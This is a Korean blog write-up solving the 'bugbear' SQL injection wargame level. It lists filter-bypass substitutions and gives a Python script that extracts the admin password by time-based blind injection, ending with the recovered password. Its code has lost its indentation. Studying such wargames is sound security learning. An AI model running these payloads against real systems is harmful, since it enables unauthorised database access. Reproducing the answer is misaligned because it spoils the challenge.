728x90
반응형
- 계속해서 time based 문제가 나온다 슬슬 다른 문제 풀고싶다.
- 이 문제 역시 no 파라미터 값에 필터링 걸려있는 게 많다.
- ' -> 여기서 필요없음
- substr -> mid
- ascii -> hex (값) (여기서 ord 안됨 -> or 필터링 걸려있어서)
- =, like -> in ("값")
- or -> ||
- and -> %26
- 공백 -> %0a
- 0x -> 안써도 됨
- 코드는 아래와 같음
import requests
url ='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=' #url 주소 입력
def find_pw_len():
pw_len=0
while 1:
pw_len=pw_len+1
value = '1%0a||%0aid%0ain%0a("admin")%0a%26%26%0aif(length(pw)%0ain%0a({}),%0asleep(3),%0a1)%23'.format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
cookies={'PHPSESSID' : '내 세션'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if(response.elapsed.total_seconds() > 3):
print("길이는? =",pw_len)
break
print("시도중 입니다!:",pw_len)
return pw_len
def find_pw():
pw_len=find_pw_len()
string=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122):
value ='1%0a||%0aid%0ain%0a("admin")%0a%26%26%0aif(hex(mid(pw,{},1))%0ain%0a(hex({})),%0asleep(3),%0a1)%23'.format(pw_value,ascii)
cookies={'PHPSESSID' : '내 세션'}
response = requests.get(url+value, cookies=cookies)
# print(response.url)
if(response.elapsed.total_seconds() > 2):
string = string + chr(ascii)
print("{}번 째의 pw의 값은!".format(pw_value),string)
break
print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
print(string)
find_pw()
정답: https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991
728x90
반응형
'Hacking > LOS' 카테고리의 다른 글
[LOS] 15. assassin (0) | 2023.07.08 |
---|---|
[LOS] 14. giant (4) | 2023.07.07 |
[LOS] 12. darkknight (0) | 2023.07.06 |
[LOS] 11. golem (0) | 2023.07.06 |
[LOS] 10. skeleton (0) | 2023.07.06 |